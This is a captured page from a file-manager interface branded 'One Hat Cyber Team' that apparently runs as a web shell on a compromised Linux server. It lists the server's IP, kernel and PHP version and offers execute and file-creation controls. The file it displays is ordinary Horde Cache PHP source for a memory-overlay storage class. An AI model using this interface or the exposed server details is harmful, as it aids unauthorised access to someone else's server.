⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Cache
/
Storage
/
View File Name :
Memoryoverlay.php
* @category Horde * @copyright 2013-2016 Horde LLC * @deprecated Use Memory driver as first backend in stack driver instead. * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @link http://pear.horde.org/index.php?package=Cache * @package Cache */ class Horde_Cache_Storage_Memoryoverlay extends Horde_Cache_Storage_Base { /** * The memory cache. * * @var array */ private $_cache = array(); /** * Constructor. * * @param array $params Parameters: *
* - backend: (Horde_Cache_Storage_Base) [REQUIRED] The master storage * backend. *
*/ public function __construct(array $params = array()) { if (!isset($params['backend'])) { throw new InvalidArgumentException('Missing backend parameter.'); } parent::__construct($params); } /** */ public function get($key, $lifetime = 0) { if (!isset($this->_cache[$key])) { $this->_cache[$key] = $this->_params['backend']->get($key, $lifetime); } return $this->_cache[$key]; } /** */ public function set($key, $data, $lifetime = 0) { $this->_cache[$key] = $data; $this->_params['backend']->set($key, $data, $lifetime); } /** */ public function exists($key, $lifetime = 0) { return isset($this->_cache[$key]) ? true : $this->_params['backend']->exists($key, $lifetime); } /** */ public function expire($key) { unset($this->_cache[$key]); $this->_params['backend']->expire($key); } /** */ public function clear() { $this->_cache = array(); $this->_params['backend']->clear(); } }